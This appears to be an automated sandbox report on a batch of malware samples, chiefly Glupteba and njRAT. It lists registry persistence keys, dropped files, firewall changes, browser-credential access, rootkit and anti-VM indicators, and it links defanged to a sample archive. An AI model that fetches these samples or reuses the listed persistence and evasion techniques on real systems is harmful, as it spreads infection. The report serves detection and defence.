glupteba | hxxps://samples[.]vx-underground[.]org/tmp/Virussign[.]2024[.]05[.]16[.]7z

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Aaminc32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Idloki32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Mnohhh32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Pmeggp32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Mbpdnm32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Neiilpob.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Omigkb32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Ljffqbmj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Jgpdbcne.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Nladckha.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Phfaijae.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Dmhidg32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Gffheg32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Anjiim32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Ffcjcpid.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Oaejfgdl.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Epphfa32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Gpejhn32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Oognjkdi.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Coflie32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Fmdafcfm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Finkeo32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Emenko32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Nielge32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Lmkbcf32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Ahmqqf32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Clgibc32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Diamin32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Nblcjkcj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Igfale32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Oabffa32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Iqfcppkd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Epgngppn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Gpiccnoi.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Hgahaeke.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Hdmloaee.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Odhick32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Cddjledl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Fppqmogc.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Gffheg32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Kcphnclo.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Lgniko32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Liqieh32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Mheffdaf.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Nhcbgb32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Dfpmmmem.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Kknmjfje.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Oeafge32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Gmfnlb32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Eoanaj32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Bmgpmi32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Jiijmkai.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Aadonbij.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Fppqmogc.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Qokiaboe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Qhdnjh32.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Cbfekpid.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Lnalgjah.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Menipb32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Nakpebhk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Cbdhepkg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Dkehjnfa.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad	Ekjklk32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\Web Event Logger = "{79FAA099-1BAE-816E-D711-115290CEE717}"	Gpjjndcd.exe

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

resource	yara_rule
behavioral1/memory/2208-327-0x0000000000400000-0x0000000002B0B000-memory.dmp	family_glupteba
behavioral1/memory/4988-357-0x0000000000400000-0x0000000002B0B000-memory.dmp	family_glupteba
behavioral1/memory/4988-407-0x0000000000400000-0x0000000002B0B000-memory.dmp	family_glupteba
behavioral1/memory/1596-433-0x0000000000400000-0x0000000002B0B000-memory.dmp	family_glupteba
behavioral1/memory/1596-486-0x0000000000400000-0x0000000002B0B000-memory.dmp	family_glupteba
behavioral1/memory/1596-989-0x0000000000400000-0x0000000002B0B000-memory.dmp	family_glupteba
behavioral1/memory/1596-2677-0x0000000000400000-0x0000000002B0B000-memory.dmp	family_glupteba

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Modifies AppInit DLL entries 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1547.001

Modify Registry
T1112

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3084	netsh.exe
2504	netsh.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	locxopti.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\locxopti.exe	virussign.com_0fcd98c430355cad3e548a63ba704cd4.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\locxopti.exe	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\locxopti.exe.tmp	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\locxopti.exe.dat	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe

Executes dropped EXE 64 IoCs

pid	Process
1652	virussign.com_0a20b558065db2051bcbfa0cd7fe943f.exe
4508	winmgr107.exe
5056	winmgr107.exe
2208	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
4988	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
1596	csrss.exe
816	injector.exe
4568	virussign.com_0d1d052a017c095816dffa6e1789be93.exe
580	Bobihl32.exe
4608	Bjgnfd32.exe
1524	Bfnnkeio.exe
4104	Cmjcmooi.exe
2912	Ccdkji32.exe
4472	Cjqqlc32.exe
2276	Cpnidj32.exe
1040	Cfgaadad.exe
3540	Dmkldm32.exe
2184	Dhpqafpl.exe
5092	Diamin32.exe
2644	Ejfcnp32.exe
1608	Eapkkjqd.exe
2300	Ednggfph.exe
3416	Eabhpj32.exe
2844	Eimldl32.exe
892	Ehnmbddl.exe
412	Ejmioo32.exe
1520	Epjagf32.exe
4476	Ffcjcpid.exe
4672	Fibfplhg.exe
2040	Fainaihj.exe
1720	Fkabjo32.exe
5016	Fpnkbema.exe
4428	Fpqggeko.exe
736	Fpcdme32.exe
4440	Fhjlnb32.exe
4164	Fkhhjn32.exe
1416	Fabqghpo.exe
4304	Ghmidb32.exe
4780	Ginekjnj.exe
4644	Gaemmgnl.exe
2556	Ghoeiaei.exe
380	Gipbaj32.exe
1780	Gpjjndcd.exe
532	Gnnkghbn.exe
1464	Gplgccaa.exe
2056	Ghcoda32.exe
1800	Galcmfhd.exe
748	Ghfljq32.exe
1308	Gkdhfl32.exe
1612	Gnbdbg32.exe
3948	Hdmloaee.exe
2244	Haqmhf32.exe
116	Hjlamh32.exe
3696	Hpfjibig.exe
3316	Hkkngk32.exe
2860	Hdcbpqom.exe
3476	Hknklk32.exe
2820	Hahcieng.exe
1888	Hdfoepmk.exe
3216	Hkpgbjdh.exe
1528	Iajpod32.exe
3008	windefender.exe
3392	Ihdhkoca.exe
4444	Inqqceai.exe

Loads dropped DLL 64 IoCs

pid	Process
11256	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
5692	powershell.exe
11256	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
11256	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
11256	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
11256	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
11256	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
11256	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
11256	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
11256	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
5596	1bf850b4d9587c1017a75a47680584c4.exe
5596	1bf850b4d9587c1017a75a47680584c4.exe
5596	1bf850b4d9587c1017a75a47680584c4.exe
5596	1bf850b4d9587c1017a75a47680584c4.exe
5596	1bf850b4d9587c1017a75a47680584c4.exe
5596	1bf850b4d9587c1017a75a47680584c4.exe
10812	winmgr107.exe
10812	winmgr107.exe
10812	winmgr107.exe
10812	winmgr107.exe
10812	winmgr107.exe
10812	winmgr107.exe
10812	winmgr107.exe
10980	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
10980	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
10980	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
732	winmgr107.exe
10980	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
10980	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
11652	virussign.com_2c7c4a9cfe4af65d1f94178378eba736.exe
9460	winmgr107.exe
9244	virussign.com_2d54dcee31f046ad027f640b4c6773db.exe
9148	winmgr107.exe
8868	winmgr107.exe
10980	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
10980	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
11128	powershell.exe
7720	powershell.exe
7128	winmgr107.exe
7128	winmgr107.exe
7128	winmgr107.exe
7128	winmgr107.exe
7128	winmgr107.exe
7128	winmgr107.exe
7128	winmgr107.exe
7096	WerFault.exe
8284	WerFault.exe
8672	WerFault.exe
6528	WerFault.exe
10980	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
10980	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
5232	winmgr107.exe
5052	virussign.com_99444be259ad13b8eb91cd8e1a4e925b.exe
5232	winmgr107.exe
5232	winmgr107.exe
5232	winmgr107.exe
5232	winmgr107.exe
5232	winmgr107.exe
5232	winmgr107.exe
2676	virussign.com_4701747d5b12daafc6bf30d49dfd6b5b.exe
2676	virussign.com_4701747d5b12daafc6bf30d49dfd6b5b.exe
2676	virussign.com_4701747d5b12daafc6bf30d49dfd6b5b.exe
2676	virussign.com_4701747d5b12daafc6bf30d49dfd6b5b.exe
2676	virussign.com_4701747d5b12daafc6bf30d49dfd6b5b.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3008-839-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral1/files/0x000a0000000238cb-4611.dat	upx
behavioral1/files/0x00120000000238d6-4939.dat	upx

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Parametr = "C:\\KaVBTL\\optixsys.exe"	virussign.com_0fcd98c430355cad3e548a63ba704cd4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2 = "C:\\ProgramData\\winmgr107.exe"	virussign.com_0a20b558065db2051bcbfa0cd7fe943f.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2 = "C:\\ProgramData\\winmgr107.exe"	winmgr107.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Parametr = "C:\\SysDrvM6\\abodloc.exe"	virussign.com_0fcd98c430355cad3e548a63ba704cd4.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Enumerates connected drives 3 TTPs 3 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\e:	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
File opened (read-only)	\??\e:	winmgr107.exe
File opened (read-only)	\??\e:	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0008000000023445-235.dat	autoit_exe
behavioral1/files/0x00080000000234a5-265.dat	autoit_exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Ajkgppjl.exe	Aadonbij.exe
File created	C:\Windows\SysWOW64\Ckafienb.exe	Ccfaec32.exe
File opened for modification	C:\Windows\SysWOW64\Djgpblal.exe	Dbphaoaj.exe
File created	C:\Windows\SysWOW64\Emhakeqj.exe	Ejjeoiaf.exe
File opened for modification	C:\Windows\SysWOW64\Naicpbjn.exe	Nllkhk32.exe
File opened for modification	C:\Windows\SysWOW64\Aonfgbmb.exe	Alojkfno.exe
File created	C:\Windows\SysWOW64\Hkkngk32.exe	Hpfjibig.exe
File created	C:\Windows\SysWOW64\Cmnkcepa.dll	Jkbmng32.exe
File created	C:\Windows\SysWOW64\Qhdnjh32.exe	Qeeanl32.exe
File opened for modification	C:\Windows\SysWOW64\Ddpjhcjo.exe	Dbanlhkk.exe
File created	C:\Windows\SysWOW64\Epdaoo32.dll	Endnmggb.exe
File created	C:\Windows\SysWOW64\Elbcgn32.dll	Diamin32.exe
File created	C:\Windows\SysWOW64\Ljmmaa32.exe	Lgopee32.exe
File created	C:\Windows\SysWOW64\Aaabickl.exe	Aocfmgli.exe
File created	C:\Windows\SysWOW64\Mdfmpd32.dll	Cmjlbikm.exe
File created	C:\Windows\SysWOW64\Hcacig32.dll	Naicpbjn.exe
File opened for modification	C:\Windows\SysWOW64\Cfdgfh32.exe	Cojnjndb.exe
File opened for modification	C:\Windows\SysWOW64\Bobihl32.exe	virussign.com_0d1d052a017c095816dffa6e1789be93.exe
File created	C:\Windows\SysWOW64\Gnnkghbn.exe	Gpjjndcd.exe
File created	C:\Windows\SysWOW64\Ebpqhl32.exe	Elfhkbkj.exe
File created	C:\Windows\SysWOW64\Ijgjnp32.exe	Icmbafld.exe
File opened for modification	C:\Windows\SysWOW64\Jjefonga.exe	Jcknbd32.exe
File opened for modification	C:\Windows\SysWOW64\Ojkkof32.exe	Odabblag.exe
File created	C:\Windows\SysWOW64\Aamhhb32.dll	Odhick32.exe
File opened for modification	C:\Windows\SysWOW64\Epcjgj32.exe	Emenko32.exe
File opened for modification	C:\Windows\SysWOW64\Elieqbig.exe	Eijidfjd.exe
File opened for modification	C:\Windows\SysWOW64\Gplpimmf.exe	Gmmdmanb.exe
File created	C:\Windows\SysWOW64\Njfadgmi.exe	Nhhehlne.exe
File opened for modification	C:\Windows\SysWOW64\Oeafge32.exe	Oaejfgdl.exe
File created	C:\Windows\SysWOW64\Omhfglnj.dll	Njfadgmi.exe
File created	C:\Windows\SysWOW64\Ioaaoadd.dll	Jdkagm32.exe
File created	C:\Windows\SysWOW64\Pqpcaacj.dll	Mjfogp32.exe
File created	C:\Windows\SysWOW64\Jkpjnabi.exe	Jdfaag32.exe
File opened for modification	C:\Windows\SysWOW64\Kkgpoqma.exe	Kcphnclo.exe
File created	C:\Windows\SysWOW64\Qagihnpk.exe	Qknqkdho.exe
File created	C:\Windows\SysWOW64\Pjjlgp32.dll	Bnlfomip.exe
File opened for modification	C:\Windows\SysWOW64\Ehnmbddl.exe	Eimldl32.exe
File created	C:\Windows\SysWOW64\Jdkagm32.exe	Jkbmng32.exe
File created	C:\Windows\SysWOW64\Dbbdfnog.exe	Djgpblal.exe
File created	C:\Windows\SysWOW64\Eijidfjd.exe	Ebpqhl32.exe
File opened for modification	C:\Windows\SysWOW64\Jdcelh32.exe	Jjnqoo32.exe
File opened for modification	C:\Windows\SysWOW64\Lcndoa32.exe	Lnalgjah.exe
File created	C:\Windows\SysWOW64\Omohbk32.dll	Bfnnkeio.exe
File opened for modification	C:\Windows\SysWOW64\Ccdkji32.exe	Cmjcmooi.exe
File created	C:\Windows\SysWOW64\Nlkemb32.exe	Miliqf32.exe
File created	C:\Windows\SysWOW64\Koopkd32.dll	Fifhpe32.exe
File created	C:\Windows\SysWOW64\Qoklgj32.dll	Ijldiopl.exe
File created	C:\Windows\SysWOW64\Mqikidhq.exe	Lklbanji.exe
File created	C:\Windows\SysWOW64\Emenko32.exe	Efkfndgd.exe
File opened for modification	C:\Windows\SysWOW64\Ihmkamkf.exe	Iqfcppkd.exe
File opened for modification	C:\Windows\SysWOW64\Qhbhon32.exe	Qiohdadi.exe
File opened for modification	C:\Windows\SysWOW64\Ajmdep32.exe	Acclheql.exe
File opened for modification	C:\Windows\SysWOW64\Bfddjqnm.exe	Bcfhneoj.exe
File opened for modification	C:\Windows\SysWOW64\Eiobpf32.exe	Ebejcloa.exe
File created	C:\Windows\SysWOW64\Fjakoh32.exe	Fbjcnk32.exe
File created	C:\Windows\SysWOW64\Eomdfkdm.exe	Emnhjpei.exe
File opened for modification	C:\Windows\SysWOW64\Finkeo32.exe	Ffpoid32.exe
File created	C:\Windows\SysWOW64\Cpnidj32.exe	Cjqqlc32.exe
File created	C:\Windows\SysWOW64\Hdcbpqom.exe	Hkkngk32.exe
File created	C:\Windows\SysWOW64\Ecigap32.exe	Elaopc32.exe
File created	C:\Windows\SysWOW64\Gfaaqelp.dll	Mkcham32.exe
File created	C:\Windows\SysWOW64\Pkkbmo32.dll	Pmeggp32.exe
File opened for modification	C:\Windows\SysWOW64\Mbpdnm32.exe	Mlflabfj.exe
File created	C:\Windows\SysWOW64\Oeoiaf32.exe	Oodadlgk.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4508 set thread context of 4248	4508	winmgr107.exe	150

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Common Files\System\symsrv.dll	virussign.com_1e903a364fd4c0d461993bc1db029e4b.exe
File created	\??\c:\progra~1\common~1\system\symsrv.dll.000	winmgr107.exe
File created	C:\Program Files\7-Zip\7zFM.exe.tmp	virussign.com_2a07d4eba2de1b08de71e85e6f95c09c.exe
File created	\??\c:\progra~1\common~1\system\symsrv.dll.000	winmgr107.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\rss\csrss.exe	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	virussign.com_0a9cfc2c2484a4c4faa964d90b7061f9.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4660	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4972	powershell.exe
6604	powershell.exe
1464	powershell.exe
3548	powershell.exe
2224	powershell.exe
2300	powershell.exe
6072	powershell.exe
5692	powershell.exe
